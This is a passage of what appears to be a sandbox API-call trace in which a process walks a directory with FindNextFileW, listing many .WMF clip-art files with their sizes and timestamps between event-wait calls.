hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2b64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107280.WMF", cAlternateFileName="")) returned 1 [0192.959] ResetEvent (hEvent=0x174) returned 1 [0192.959] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0193.870] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3734, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107282.WMF", cAlternateFileName="")) returned 1 [0193.870] ResetEvent (hEvent=0x174) returned 1 [0193.870] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0193.895] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x347c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107288.WMF", cAlternateFileName="")) returned 1 [0193.895] ResetEvent (hEvent=0x174) returned 1 [0193.895] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0194.266] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3014, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107290.WMF", cAlternateFileName="")) returned 1 [0194.267] ResetEvent (hEvent=0x174) returned 1 [0194.267] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0195.186] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5636ddf0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x99c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107300.WMF", cAlternateFileName="")) returned 1 [0195.186] ResetEvent (hEvent=0x174) returned 1 [0195.186] WaitForSingleObject (hHandle=0x174, dwMilliseconds=0xffffffff) returned 0x0 [0195.976] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1028, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107302.WMF", cAlternateFileName="")) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x3e10, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107308.WMF", cAlternateFileName="")) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a64, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107314.WMF", cAlternateFileName="")) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c18, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107316.WMF", cAlternateFileName="")) returned 1 [0195.976] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1984, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107328.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1094, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107342.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x56393f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107344.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x5c78, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107350.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f1c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107358.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x40cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107364.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0195.977] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x258c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107468.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1788, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107480.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1374, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107482.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbe0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107484.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f40, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107488.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4054, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107490.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1acc, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107492.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1918, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107494.WMF", cAlternateFileName="")) returned 1 [0195.978] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x22a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107496.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1068, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107500.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2a54, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107502.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2c8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107512.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2fac, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107514.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x36b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107516.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1f0c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107526.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1a88, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107528.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6890, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107544.WMF", cAlternateFileName="")) returned 1 [0195.979] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1ba0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107658.WMF", cAlternateFileName="")) returned 1 [0195.980] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x12c8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107708.WMF", cAlternateFileName="")) returned 1 [0195.980] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x121c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107712.WMF", cAlternateFileName="")) returned 1 [0195.980] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xed8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107718.WMF", cAlternateFileName="")) returned 1 [0195.980] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65edb1b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2044, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107722.WMF", cAlternateFileName="")) returned 1 [0195.980] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1b68, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107724.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1574, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107728.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563e0210, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xbf4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0107730.WMF", cAlternateFileName="")) returned 1 [0195.981] FindNextFileW (in: hFindFile=0x3722688, lpFindFileData=0x2c3ee88 | out: lpFindFileData=0x2c3ee88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, 